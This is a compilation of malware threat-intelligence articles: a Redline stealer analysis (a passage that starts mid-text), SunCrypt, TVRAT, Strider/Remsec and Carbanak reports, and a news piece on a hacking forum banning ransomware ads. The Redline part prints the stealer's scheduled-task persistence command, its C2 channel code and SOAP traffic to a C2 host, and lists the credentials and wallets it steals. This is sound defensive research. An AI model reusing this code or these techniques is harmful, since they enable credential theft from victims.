Wow64SetThreadContext(IntPtr, Int32[])} | | SetThreadContext | {Boolean SetThreadContext(IntPtr, Int32[])} | | ResumeThread | {UInt32 ResumeThread(IntPtr)} | | CreateProcessAsUser | {Boolean CreateProcessAsUser(IntPtr, System.String, System.String, IntPtr, IntPtr, Boolean, UInt32, IntPtr, System.String, Struct1 ByRef, Struct0 ByRef)} | It calls the API CreateProcessAsUser() with a CreateFlag of CREATE_SUSPENDED (0x4) to create a suspended duplicated process of the Redline loader. It then calls VirtualAllocEx() to allocate memory space in the suspended process. It then copies the entire Redline payload file from the Redline loader onto it by calling the WriteProcessMemory() API. Next, it deploys the copied payload file in the newly-created process, calling APIs Wow64GetThreadContext() or GetThreadContext(), ReadProcessMemory(), WriteProcessMemory(), and Wow64SetThreadContext() or SetThreadContext(). Before exiting the Redline loader process, it calls the API ResumeThread() to have the suspended process restore running from the copied Redline payload. ## Redline Persistence Mechanism The Redline loader is also in charge of maintaining Redline persistence on the victim’s device. Unlike Formbook being added into the auto-run group in the system registry, Redline uses the system Task Scheduler. The Redline loader calls the following command-line command: ``` "cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\{username}\AppData\Roaming\packtracer.exe'" /f ``` It executes “schtasks.exe” with parameters to create a new task item with a task named “Nafdfnasia”, which is triggered by the Task Scheduler every minute to execute a file called “packtracer.exe”. Some may wonder what this “packtracer.exe” file is. After executing the above command-line command, it performed a DOS “copy” command to duplicate the Redline loader itself and was saved as “%AppData%/packtracer.exe” file, which is a hardcoded constant string in the Redline loader. Once that is done, the Redline loader that extracts and runs the Redline payload will be executed by the Windows Task Scheduler every minute. ## Diving into the Redline Payload File I dumped the Redline payload file from memory for deeper analysis. It’s a .Net framework-based program without any obfuscation. By going through its code, I determined that the communication between Redline and its C2 server was built based on the WCF (Windows Communication Foundation) service. It builds a channel between the client and server, with the data being transferred on that channel sealed inside an XML-SOAP (Simple Object Access Protocol) protocol by a class ChannelFactory. The following is a code segment that creates such a channel. ```csharp ChannelFactory<IRemoteEndpoint> channelFactory = new ChannelFactory<IRemoteEndpoint>( SystemInfoHelper.CreateBind(), new EndpointAddress("http://" + address + "/") ); this.serviceInterfacce = channelFactory.CreateChannel(); ``` Where: - The IRemoteEndpoint used to create a channel factory object is an interface implemented in the C2 server program. - The first parameter returned by “CreateBind()” specifies that Redline use HTTP as the transport for sending SOAP 1.1 messages. - The second parameter is that the C2 server uses an EndpointAddress object with the C2 server’s information. The “address” is the C2 server address defined in a class. By calling the method “channelFactory.CreateChannel()”, it can create a channel (a TCP connection) between Redline and the C2 server. Redline can then remotely call and obtain return value if applicable from those IRemoteEndpoint‘s methods implemented inside the C2 server program. Below is the definition of the IRemoteEndpoint interface and the methods Redline uses to call and communicate with its C2 server. “OperationContract” and “ServiceContract” attributes show they use a WCF service framework. Once the methods are called, their method names are replaced in the XML-SOAP data with a name specified in the “OperationContract” attribute. ```csharp [ServiceContract(Name = "Endpoint")] public interface IRemoteEndpoint { [OperationContract(Name = "CheckConnect")] bool CheckConnect(); [OperationContract(Name = "EnvironmentSettings")] ScanningArgs GetArguments(); [OperationContract(Name = "SetEnvironment")] void VerifyScanRequest(ScanResult user); [OperationContract(Name = "GetUpdates")] IList<UpdateTask> GetUpdates(ScanResult user); [OperationContract(Name = "VerifyUpdate")] void VerifyUpdate(ScanResult user, int updateId); } ``` CheckConnect() checks to see if the connection status is OK. GetArguments() asks the C2 server which sensitive data it needs to steal from the victim’s device. VerifyScanRequest() is responsible for submitting the stolen information to its C2 server. GetUpdates() updates the stolen information to the C2 server and asks for additional tasks from the C2 server. VerifyUpdate() is used to inform the C2 server that a task asked for by calling GetUpdates() has been completed. Let’s check out a real instance of calling these methods. Imagine that Redline calls “result = this.serviceInterfacce.CheckConnect();”. The request packet is shown below. Its body is sealed in SOAP: ``` POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: sinmac[.]duckdns[.]org:2667 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope> ``` This is the response packet: ``` HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 20 Sep 2022 18:45:28 GMT <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <CheckConnectResponse xmlns="http://tempuri.org/"> <CheckConnectResult>true</CheckConnectResult></CheckConnectResponse> </s:Body></s:Envelope> ``` From the body portion of the packet, the return value of the method implemented in the C2 server is “true”, which is carried within the XML tag “<CheckConnectResult>”. All packets between the Redline and its C2 server are transferred in the same way and through that created channel. ## Stealing Sensitive Information Let’s proceed to checking on how Redline steals sensitive information from a victim’s infected device. Redline calls the remote method “GetArguments()” to obtain the tasks its C2 server wants it to perform. This includes setting switch flags for whether or not to steal data from targeted software and for the web browser folder paths where the victim’s personal data is stored. Redline has designed 22 local methods for stealing sensitive information from a victim’s device based on switch flags and file path information that the “settings” variable carries. Based on research, Redline can collect information from the following: **Web Browsers:** Chrome, Edge, Firefox, Opera, Waterfox, K-Meleon, IceDragon, Cyberfox, BlackHaw, Pale Moon, Iridium, 7Star, ChromePlus, CentBrowser, Vivaldi, Chedot, Kometa, Elements Browser, Epic Privacy Browser, Sleipnir, Citrio, Coowon, liebao, QIP Surf, Dragon, Amigo, Torch, Yandex, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Chromodo, Brave-Browser, CryptoTab Browser, and all other browsers built on Chromium project. **Email Clients:** Mail.Ru and Thunderbird. **Social, Game, IM Clients:** Battle.net, Steam, Discord, and Telegram. **FTP and VPN Clients:** Uran, ProtonVPN, FileZilla, OpenVPN, and NordVPN. **Digital Wallets:** Armory Wallet, YoroiWallet, Coinomi Wallet, Electrum Wallet, Ethereum, Exodus, JaxxxLiberty Wallet, TronLink, Nifty Wallet, MetaMask, MathWallet, Coinbase, BinanceChain, BraveWallet, GuardaWallet, EqualWallet, JaxxxLiberty, BitAppWallet, iWallet, Wombat, AtomicWallet, MewCx, GuildWallet, SaturnWallet, RoninWallet, and more. Redline can steal victims' personal information, including saved credentials, auto-fills, credit card information, tokens, private keys, cookies, profiles, logs, and more, from the default software clients listed above. It also obtains all files from the victim’s Desktop and Document folders as long as their filename contains “txt”, “doc”, “key”, “wallet”, or “seed”. Besides collecting sensitive information, it also collects a screenshot of the victim’s screen and the basic system and hardware information of the infected device, including OS version, processor information, GraphicCard information, monitor information, total RAM, public IP address, location, UserName, default language, TimeZone, installed programs, installed AntiVirus, AntiSpyWare and Firewalls, and a list of active processes. This is a view of the packet with the stolen data in SOAP being submitted to its C2 server. It is sent once Redline calls the remote method “this.serviceInterfacce.VerifyScanRequest(result);”, where the parameter “result” holds all the stolen data listed above from the victim’s device. As per the method definition of VerifyScanRequest(), it is given another name—"SetEnvironment"—in WCF. Henceforth, it uses "SetEnvironment" in the packet. ## The Redline C2 Server Side Tool For research purposes, I managed to obtain one C2 server program. As long as the Redline C2 server receives stolen information from a Redline system, it shows one item on its Logs subtab, and the attacker can view the stolen data through its menu. It uses HWID to identify each victim, which is an MD5 hash code made of the victim’s DomainName, UserName, and the disk drive’s serial number. Once “System Info” in the context menu is clicked, a pop-up window displays stolen system information on the right and screenshots on the left. The server-side tool also provides a statistics feature to summarize the information received from its victims. ## Fortinet Protections Fortinet customers are already protected from this Redline variant with FortiGuard’s Web Filtering, IPS, and AntiVirus services as follows: - The downloading URL and C2 server are rated as “Malicious Websites” by the FortiGuard Web Filtering service. - The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded file inside the original Excel document. - FortiGuard Labs detects this Redline variant with the AV signature “MSIL/Redline.8B8C!tr”. - The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. The Fortinet AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected. - FortiGuard Labs provides IPS signatures "RedLine.Stealer.Botnet" against Redline's traffic. - Fortinet’s Digital Risk Protection Service, FortiRecon, continually monitors for credentials stolen using Stealers (such as Redline) being sold by threat actors on the dark web that can be used to breach a network. **IOCs:** **URLs:** hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe **Redline C2 Server:** “sinmac[.]duckdns[.]org:2267” **Sample SHA-256:** [GAT412-IFF22.xlsx] D1EA94C241E00E8E59A7212F30A9117393F9E883D2B509E566505BC337C473E3 [Redline, almac.exe] 9D621005649A185E07D44EC7906530B8269DF0A84587DEB3AAC8707C5DD88B8C Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio. Sign up to receive our threat research blogs.
# SunCrypt Ransomware is Still Alive and Kicking in 2022 Bill Toulas March 28, 2022 SunCrypt, a ransomware as a service (RaaS) operation that reached prominence in mid-2020, is reportedly still active, even if barely, as its operators continue to work on giving its strain new capabilities. SunCrypt was one of the early pioneers of triple extortion, including file encryption, threats to publish stolen data, and DDoS (distributed denial of service) attacks on non-paying victims. Despite this and the lack of ethic-minded targeting restrictions within the affiliate program, SunCrypt has failed to grow larger than a small private RaaS of a closed circle of affiliates. According to a report by Minerva Labs, this stagnation hasn't stopped the malware authors from working on a new and better version of their strain, which the analysts analyzed to determine what changed. ## New SunCrypt Features The new capabilities of the 2022 SunCrypt variant include process termination, stopping services, and wiping the machine clean for ransomware execution. These features have long existed on other ransomware strains, but for SunCrypt, they are very recent additions. As Minerva comments, this makes it seem like it's still in an early development phase. The process termination includes resource-heavy processes that can block the encryption of open data files, such as WordPad (documents), SQLWriter (databases), and Outlook (emails). The cleaning feature is activated at the end of the encryption routine, using two API calls to wipe all logs. Although one would be enough, the author probably used two for redundancy. After all the logs are erased, the ransomware deletes itself from the disk using cmd.exe. One of the important old features retained in the newest version is the use of I/O completion ports for faster encryption through process threading. Also, SunCrypt continues to encrypt both local volumes and network shares, and still maintains an allowlist for the Windows directory, boot.ini, dll files, the recycle bin, and other items that render a computer inoperable if they're encrypted. ## Activity and Outlook According to stats from submissions to ID Ransomware, which provides a good idea of ransomware strain activity, SunCrypt is still encrypting victims but appears to have limited activity. The group may be targeting high-value entities and keeping the ransom payment negotiations private, not drawing law enforcement attention and media coverage. Minerva mentions Migros as one of SunCrypt's recent victims, which is Switzerland's largest supermarket chain employing over 100,000 people. In summary, SunCrypt is undoubtedly a real threat that hasn't been cracked yet, but whether or not the RaaS will grow into something more significant remains to be seen. --- Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives.
# Investigating Threats in HP Sure Controller 4.2: TVRAT HP Sure Click Enterprise captures a wealth of information about threats at the time of execution. HP Sure Controller is a management interface designed to help security analysts quickly understand the nature of threats isolated by HP Sure Click Enterprise. In this blog post, we describe a typical investigation workflow, highlighting some of the useful features and views built into HP Sure Controller that enable security teams to investigate threats efficiently. ## Background The attack was an attempted intrusion against a financial organization in January 2020 that was stopped by HP Sure Click Enterprise. The delivery method of the downloader, a malicious Microsoft Word document, was notable because the attacker disguised it as a resume and then uploaded it to a legitimate job portal website. It was subsequently downloaded and opened by a member of the target organization’s human resources department, bypassing email gateway and web proxy security controls. Ultimately, the downloader delivered TVRAT (also known as Spy-Agent), a remote access Trojan capable of remotely controlling an infected PC, transferring files, and accessing the victim’s microphone and webcam. ## Threat Table The threat table view lists alerts generated by HP Sure Click Enterprise. To prioritize which activity to investigate, you can apply filters to the table by clicking on the ‘Add Filter’ button. You can also create and apply labels to alerts to organize them. Two alerts for malicious Microsoft Word documents match this filter criteria. ## Threat View – Summary Tab Clicking on one of the alerts opens the threat view ‘Summary’ tab, which gives an overview of information about the alert to enable an investigator to understand the threat quickly. The information about the alert shown on the ‘Summary’ tab includes: - the hostname of the endpoint - the user of the endpoint at the time of the activity - the names and hash values of resources that triggered the alert, e.g., filenames and URLs - the classification given by HP Sure Click Enterprise, i.e., True Positive, False Positive, Unknown - the time and duration of the activity, including if the alert was uploaded to Threat Cloud for additional analysis - MITRE ATT&CK techniques observed during the lifetime of the trace - files written to the filesystem during the lifetime of the micro-VM - DNS events - a process interaction graph showing parent-child relationships between processes - geolocation and a summary of network activity - a log of recent activity that allows HP Sure Controller users to comment on the threat The Summary tab also allows users to download the files that triggered the alert (.VMM file) and the micro-VM trace (.XEVTS and .DEVTS files) at the time of the activity, in case there is a need to analyze the threat using other tools. The severity of this alert is ‘High,’ which indicates that suspicious behavior commonly associated with malware occurred during the lifetime of the micro-VM. In the ‘Resources’ section, a URL and a file called ResumeGabriellaGrey.doc are listed. The URL indicates that the user visited the website, then downloaded and opened the file. To the left of the filename is a grey-colored cloud icon which indicates that the file’s hash value is not currently recognized by Threat Cloud. However, a file called wpvnetwks.exe listed in the ‘Blacklistable Files’ section is known by Threat Cloud. It was marked as clean, as indicated by the green cloud icon. An unknown dynamic link library (DLL) was also written to the filesystem three times during the trace: - msi.dll - KBuGDorsqg.dll - X6IPAYFwa2HOpeVE3gLRKCMb[1].dll Looking up the hash value of wpvnetwks.exe in a malware repository such as VirusTotal reveals that the file is a legitimate digitally-signed executable used by TeamViewer, a remote access tool. In the ‘DNS Events’ section, you can see that seven suspicious DNS queries were made, including to domains associated with TeamViewer infrastructure. The process interaction graph shows the parent-child relationships between processes created in the micro-VM and is designed to enable investigators to identify suspicious process relationships visually. You can see that a Microsoft Word process, winword.exe, created two child processes, wpvnetwks.exe and regsvr32.exe. Given our suspicion that wpvnetwks.exe is a file related to TeamViewer, it is unlikely that Microsoft Word would run this program legitimately. The other process created by Microsoft Word is also highly suspicious because regsvr32.exe is a tool that can be used to run malicious DLLs (T1117). At this stage, it seems a reasonable hypothesis that regsvr32.exe was used to run the DLL listed in the ‘Blacklistable Files’ section. Despite TeamViewer being a legitimate tool, the summary of the activity in this alert suggests that it was likely used for a malicious purpose. We can inspect the micro-VM’s activity in granular detail using the other tab views to confirm this assessment. ## Threat View – Graph Tab The Graph tab displays a timeline view of the events that occurred in the micro-VM, which enables investigators to trace through activity event by event to understand it in more detail. High severity events are indicated by their pink-colored background. The Graph view is often useful to understand the context of events, for example, by examining the activity that occurred immediately before and after a high severity event. In the Graph view, you can see that a high-severity event was generated when winword.exe executed wpvnetwks.exe from C:\Users\bruser1729\AppData\Roaming\Windows Media Player\. Looking at the previous events reveals that winword.exe also launched regsvr32.exe, which in turn ran one of the copies of the unknown DLL, KBuGDorsqg.dll. One of the libraries that wpvnetwks.exe loads at runtime is msi.dll, a legitimate Microsoft DLL located in the System32 directory. However, the events after wpvnetwks.exe was executed show evidence of DLL side-loading (T1073). Another copy of the unknown DLL, msi.dll, was loaded into the process of wpvnetwks.exe instead of the legitimate msi.dll. ## Threat View – Behavioural Tab The Behavioural tab displays micro-VM events in a chronological table and allows investigators to filter on events based on properties such as type, action, severity, and name. For example, the Behavioural view that has been filtered to only show process execution and network events shows that approximately seven seconds before the high severity event, HP Sure Click Enterprise saw an HTTPS connection to morteson[.]com (194.67.90[.]67). Afterwards, KBuGDorsqg.dll was written to the filesystem in two locations, which suggests that the file was downloaded from morteson[.]com. The downloaded file was then run using regsvr32.exe and was shortly followed by a DNS query to creatorz123[.]top (176.121.14[.]139), indicative of command and control (C2) check-in activity. Tracing through the events also shows network activity relating to teamviewer[.]com, which corroborates the hypothesis that wpvnetwks.exe is a TeamViewer binary. ## Threat View – Network Tab The Network view is a table that lists all network communications that the micro-VM made during its lifetime. Approximately 26 seconds after the triggering high severity event, an HTTPS session was established to 123faster[.]top (176.121.14[.]139) over TCP port 443. The network activity shows that roughly every minute a CONNECT method request occurred to that domain, indicating that this session is likely the C2 connection used by the threat actor. ## Threat View – Metadata Tab The Metadata view gives information about the host that triggered the alert, such as its HP Sure Click Enterprise configuration policy and the versions of software running on the host. This information may be relevant to identify whether an exploit affects only certain versions of software installed within micro-VMs. ## Threat View – Files Tab The Files view is a table that lists all files that were created or modified during the lifetime of the micro-VM. If Threat Cloud is enabled, the reputation of the files based on their hash values is checked against a database of known-good and known-bad files. Several known-good files related to TeamViewer were written to the user’s AppData directory in a subfolder named ‘Windows Media Player.’ You can optionally blacklist a file for a device, device group, or all devices by clicking on the grey-colored flag icon to the right of the hash value. ## Closing Thoughts The different views in HP Sure Controller make it possible to characterize each stage of the attempted infection and obtain indicators of compromise (IOCs) such as the domains and IP addresses of the malware’s C2 channel. Based on the information captured by HP Sure Click Enterprise, we can identify the malware as a variant of TVRAT. The information presented in HP Sure Controller enables security teams to efficiently investigate threats without having to re-run samples in sandboxes or resort to manual analysis, saving time and effort. ## Indicators of Compromise | Indicator | SHA-256 Hash | Purpose | |------------------------------------------------------|------------------------------------------------------------------------------------------------|-------------------------------| | ResumeGabriellaGrey.doc | c6441cfa433596098ff1d3dc6995b90d5a63d32ae07ec9599c6a6f887b21170c | Downloader | | C:\Users\[USER]\AppData\Roaming\Windows Media Player\wpvnetwks.exe | cc82d628fde6549aab4f2d3d3ae3613367af945b20cc0944f937a5cacc4fecc2 | TeamViewer executable | | C:\Users\[USER]\AppData\Roaming\Windows Media Player\msi.dll | f5b7c4b30839021587e5bdb788c9ca3407a05005d0da5c1dfaa88a93939436bb | TVRAT DLL side-loaded into wpvnetwks.exe | | morteson[.]com (194.67.90[.]67:443) | | Web server hosting TVRAT DLL | | creatorz123[.]top (176.121.14[.]139:443) | | TVRAT C2 server | | 123faster[.]top (176.121.14[.]139:443) | | TVRAT C2 server |
# Popular Hacking Forum Bans Ransomware Ads One of the most popular hacking forums on the internet today announced that it would ban ransomware ads. The XSS forum, previously known as DaMaGeLab, has been one of the two major places where ransomware gangs have advertised their services and hired partners to carry out attacks. “Lockers (ransomware) have accumulated a critical mass of nonsense, bullshit, hype, noise,” the site’s admin said today in a post spotted by Recorded Future threat intelligence analyst and The Record author Dmitry Smilyanets. Going forward, the forum said it would prohibit ads for ransomware affiliate models and the sale or rental of ransomware strains. The XSS ransomware ban comes after a ransomware gang known as Darkside encrypted the network of Colonial Pipeline in an attack that shut down a major pipeline that transported fuel for around 45% of the US East Coast. The incident shone a new light on the ransomware phenomenon, which became a daily topic in White House national security briefings. With most ransomware gangs operating out of Russia, and with most ransomware being advertised on Russian-speaking forums, industry experts expect US authorities to crack down on some of these threat actors and their enablers. The tone appears to have been set by US President Joe Biden in a press conference on Monday, when he said that Russia has “some responsibility to deal with this [phenomenon],” before saying that he’d also bring up the topic in future discussions with Russian President Vladimir Putin. However, even before those talks could take place, the message appears to have registered loud and clear. In a message today, the XSS admin team decided to avoid unwanted scrutiny, claiming that their forum’s main purpose was always “knowledge” and not to serve as a marketplace for criminal gangs. Their decision might have been hastened by the fact that the Darkside ransomware gang ran an ad for its affiliate program on the XSS forum, together with all the major ransomware operations, such as REvil, Netwalker, Gandcrab, Avaddon, and many others. With the XSS ban today, Smilyanets expects ransomware gangs to move their recruiting and advertising operations on Exploit, another major cybercrime forum on which most gangs have also been running ads like the ones they ran on XSS. At the time of writing, the Exploit team has not made any announcement in regards to a ransomware ad ban. But the XSS ransomware ban today is not unique. Cybercrime forum admins have often banned certain topics on their sites when they believed law enforcement might take them in their sights. For example, in 2016, after a hacker published the source code of the Mirai DDoS botnet on HackForums, the site’s admin responded by banning DDoS-for-hire service ads a few days later, not wanting to be in the crosshairs of an FBI investigation looking into a series of Mirai DDoS attacks that crippled large parts of the internet. Similarly, when internet pranksters started hacking into Zoom meetings and recording users in early 2020, forums like Cracked and Nulled, where pranksters often went to organize or request Zoom bombing sessions, banned the posting of any Zoom-related content on their sites. UPDATED on May 14, 16:30pm: A day after the XSS forum banned ransomware ads, the Exploit forum followed suit and also announced a similar decision. Currently, both of the two major hacking forums where ransomware ads were being posted have banned these types of adverts on their sites. Tags: - cybercrime - DaMaGeLaB - Darkside - forum - hacking forum - Ransomware - ransomware ad - XSS Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# Strider: Cyberespionage Group Turns Eye of Sauron on Targets A previously unknown group called Strider has been conducting cyberespionage-style attacks against selected targets in Russia, China, Sweden, and Belgium. The group uses an advanced piece of malware known as Remsec (Backdoor.Remsec) to conduct its attacks. Remsec is a stealthy tool that appears to be primarily designed for spying purposes. Its code contains a reference to Sauron, the all-seeing antagonist in *Lord of the Rings*. Strider’s attacks have tentative links with a previously uncovered group, Flamer. The use of Lua modules, which we’ll discuss later, is a technique that has previously been used by Flamer. One of Strider’s targets had also previously been infected by Regin. ## Background Strider has been active since at least October 2011. The group has maintained a low profile until now, and its targets have been mainly organizations and individuals that would be of interest to a nation state’s intelligence services. Symantec obtained a sample of the group’s Remsec malware from a customer who submitted it following its detection by our behavioral engine. Remsec is primarily designed to spy on targets. It opens a back door on an infected computer, can log keystrokes, and steal files. ## Targets Strider has been highly selective in its choice of targets, and to date, Symantec has found evidence of infections in 36 computers across seven separate organizations. The group’s targets include a number of organizations and individuals located in Russia, an airline in China, an organization in Sweden, and an embassy in Belgium. ## Stealthy Back Door The Remsec malware used by Strider has a modular design. Its modules work together as a framework that provides the attackers with complete control over an infected computer, allowing them to move across a network, exfiltrate data, and deploy custom modules as required. Remsec contains a number of stealth features that help it to avoid detection. Several of its components are in the form of executable blobs (Binary Large Objects), which are more difficult for traditional antivirus software to detect. In addition to this, much of the malware’s functionality is deployed over the network, meaning it resides only in a computer’s memory and is never stored on disk. This also makes the malware more difficult to detect and indicates that the Strider group are technically competent attackers. ### Remsec Modules Remsec modules seen by Symantec to date include: - **Loader**: Named MSAOSSPC.DLL, this module is responsible for loading files from disk and executing them. The files on disk contain the payload in an executable blob format. The loader also logs data. Executable blobs and data are encrypted and decrypted with a repeating key of 0xBAADF00D. The loader maintains persistence by being implemented as a fake Security Support Provider. - **Lua Modules**: Several examples of Remsec use modules written in the Lua programming language. Remsec uses a Lua interpreter to run Lua modules which perform various functions. These Lua modules are stored in the same executable blob format as the loader. Lua modules include: - **Network Loader**: This loads an executable over the network for execution. It may use RSA/RC6 encryption. - **Host Loader**: This is used to decrypt and load at least three other Lua modules into running processes. It references three named modules: ilpsend, updater (neither of which has been discovered to date), and kblog (likely the Keylogger module detailed below). - **Keylogger**: This logs keystrokes and exfiltrates this data to a server under the attackers’ control. This is the module that contains a string named “Sauron” in its code. Given its capabilities, it is possible the attackers have nicknamed the module after the all-seeing villain in *Lord of the Rings*. - **Network Listener**: A number of examples of Remsec implement different techniques for opening a network connection based on monitoring for specific types of traffic. These include ICMP, PCAP, and RAW network sockets. - **Basic Pipe Back Door**: This is a minimal back door module, controlled over named pipes. It can execute data in the format of the executable blob or a standard executable. - **Advanced Pipe Back Door**: This offers several more commands than the basic version, including sending the executable blob, listing files, and reading/writing/deleting files. - **HTTP Back Door**: This module includes several URLs for a command and control (C&C) server. Strider is capable of creating custom malware tools and has operated below the radar for at least five years. Based on the espionage capabilities of its malware and the nature of its known targets, it is possible that the group is a nation-state level attacker. Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers. ## Protection Symantec and Norton products detect this threat as Backdoor.Remsec. ## Indicators of Compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment.
# A Trustwave SpiderLabs Advanced Threat Report ## Operation Grand Mars: Defending Against Carbanak Cyber Attacks **Author:** Thanassis Diogos **EMEA Managing Consultant, Incident Response, Trustwave** **Contributors:** Sachin Deodhar EMEA Incident Response Consultant, Trustwave Rodel Mendrez Security Researcher, Trustwave --- ## Executive Summary During September and October of 2016, the SpiderLabs team at Trustwave was consulted by several leading organizations from the hospitality sector in Europe and the United States to analyze suspicious and potentially malicious activity on their networks, including servers, point-of-sale terminals, and client workstations spread across different properties and locations. The motivation of this operation appears to be financial gain, total control of the infrastructure, and collection of bots within the victim organizations. The forensic investigation and analysis indicate that these activities had been performed by different individuals or groups, leading us to conclude that several malicious groups had cooperated in this operation, each holding its own role and task. It soon became obvious that we were dealing with organized crime responsible for establishing this complex system of network hosts and large numbers of malicious files to perform attacks against multiple victims. The organizations under attack had been alerted either from their enterprise AV service that discovered pieces of potentially malicious software or from suspicious indicators in Windows event logs. Since the victims were different organizations, the investigations were conducted by separate teams within Trustwave, but intelligence sharing among the teams proved that several similarities existed among the attacks. The common successful entry point within all operations was an email message targeting the victim’s public-facing services that contained a Microsoft Word document as an attachment. Once the attachment was opened, multiple malicious files were created or downloaded, allowing the attackers to gain some level of access into the victim’s infrastructure. In some cases, attackers actually called the victims over the phone, a social engineering vector, to trick them into opening the attachments. Next, several pass-the-hash techniques were performed to escalate privileges while persistence was achieved by utilizing scheduled tasks and several of the operating system’s auto-start locations. Ultimately, these actions allowed the attackers to gain domain or even enterprise admin level access to the network using several resources as Command & Control points in Europe and the US. The attackers used cloud services such as Google Docs, Google Forms, and Pastebin.com to keep track of infected systems, spread malware, and perform additional malicious activities. It is beneficial for attackers to incorporate such services into attacks since most enterprise networks allow access to these services, making it almost impossible to blacklist them. Malicious code used in these operations was split among memory-resident code, scripting code (PowerShell, JavaScript, VBS), executables (often variants of existing malware), and usage of customized versions of toolkits such as Metasploit, PowerSploit, and Veil Framework. The core tools used in these activities appear to comprise a variant of Anunak, a remote backdoor, along with a Visual Basic Script specially crafted with data exfiltration features. Another significant finding is that some of the executables were signed using valid certificates from Comodo, a Certification Authority. Based on the analysis of the certificates, we believe that the attackers purchased and used fake identities to bypass additional security controls. This document describes what we believe to be a systematic criminal operation of attacks targeting the hospitality sector in Europe and the US. However, the findings suggest that other sectors such as e-commerce and retail are equally at risk, and the campaign could just as easily spread to other parts of the world. --- ## Analysis and Findings ### Point of Entry The first objective of the investigation was to identify the precise entry point of the attackers into the network and the method of initial compromise exercised. #### Phishing Email and Malicious Word Document The numerous investigations conducted globally by the Trustwave SpiderLabs team identified a common event at the beginning of the timeline of these attacks: one or more employees had received what appeared to be a targeted phishing email with a potentially malicious Word document attachment. The content of the message appears to be legitimate and is related to the organization’s services (hospitality sector). The email contained a Microsoft Word document attachment (.docx). The malware authors called the victim directly via phone and asked for the attachment to be opened to ensure infection, since the default setting in Microsoft Word prevents execution of any macro code. This was the social engineering element of the attack vector used to convince the user to execute the macro by double-clicking an image shown inside the opened document. #### Document Analysis A detailed examination of the attached Word document proves that this was the vector used by the attackers to gain entry into the targeted organization’s network. The file appears to be a Macro-Enabled malware designed to drop and execute malicious code on the target system. Inside the contents of the oleObject1.bin, there are indicators of a macro code embedded in the document, which seem to be encoded. The strings indicate that the attackers have used an evaluation version of a commercially available script encoding/encryption tool called “Scripts Encryptor.” After manually decoding the contents of oleObject1.bin, the result was a VBScript. The script contains several functions, a subset of them used for transforming data from custom variables embedded in the body of the script using techniques such as “BinaryToString, StringToBinary” and “Base64Decode, Base64Encode.” What seems to be one of the main usages of the embedded script is the creation of several other files on the infected system using the functions listed earlier. The new files were written by converting data stored in a variable named “f.” The embedded script adds a registry key for persistence, which comprises a scheduled task to call starter.vbs periodically (every 30 min) and finally executes starter.vbs. Another interesting function computes a unique CUID using the system’s hard drive serial number, indicating that attackers seek a unique identifier from each infected system. Internet activity also indicated a function that checks for proxy settings on the infected system, an indicator of suspicious internet activity. ### Artifacts from Email Attachment As we’ve seen, opening the Word document executes the embedded script and drops the following four files: - **Starter.vbs**: A VBScript file responsible for execution of the TransbaseOdbcDriver.js using wscript.exe within a hidden command prompt. - **TransbaseOdbcDriver.js**: This script connects to Google Spreadsheet executing a Macro based on the unique disk serial number (guid). - **LanCradDriver.vbs**: This script reads and executes the commands written in the LanCradDriver.ini file. - **LanCradDriver.ini**: Initially created as an empty file, it becomes populated with commands retrieved from the Google spreadsheet. ### Achieving Persistence The recently downloaded PowerShell script was decoded and executed on the infected system. The actual script used PowerShell Deflate and Base64 functions to conceal the payload. The final result of the script is a memory-resident malware providing reverse shell access to cybercriminals. Attackers have achieved persistence by utilizing the operating system’s startup locations. A registry key is created to start the payload automatically after reboot, and a scheduled task has been created which is triggered every 30 minutes indefinitely. ### Lateral Movement Another consequence of the initial phase of this compromise is that attackers gained access to a local Windows OS administrator account and then utilized pass-the-hash to steal credentials of a domain-level, high-privileged user. This allowed attackers to achieve domain or even enterprise admin access and gain network access by utilizing several resources as Command & Control points in Europe and the US. ### Further Malicious Files A forensic timeline analysis revealed the following suspicious executables/scripts: 1. **AdobeUpdateManagementTool.vbs**: Capable of receiving commands from the attacker to download and execute files. 2. **UVZHDVlZ.exe**: A loader for the Anunak malware. 3. **Update.exe**: Cobalt Strike’s post-exploitation tool beacon. 4. **322.exe**: TCP reverse shell. These executables were found to be malicious and primarily designed to set up persistence or data exfiltration. --- ## Conclusions The findings suggest a systematic and organized approach to cybercrime targeting the hospitality sector, with potential implications for other sectors. The use of sophisticated techniques, including social engineering, malware, and cloud services for command and control, highlights the need for robust security measures and awareness training for employees. ## Remediation Organizations should implement tactical countermeasures, including: - Regular security training for employees to recognize phishing attempts. - Enhanced monitoring of network traffic for unusual activity. - Implementation of strict access controls and regular audits of user permissions. - Use of advanced threat detection tools to identify and mitigate potential threats. --- This report serves as a comprehensive analysis of the Grand Mars operation and provides insights into the tactics employed by cybercriminals, as well as recommendations for organizations to protect themselves against similar threats.
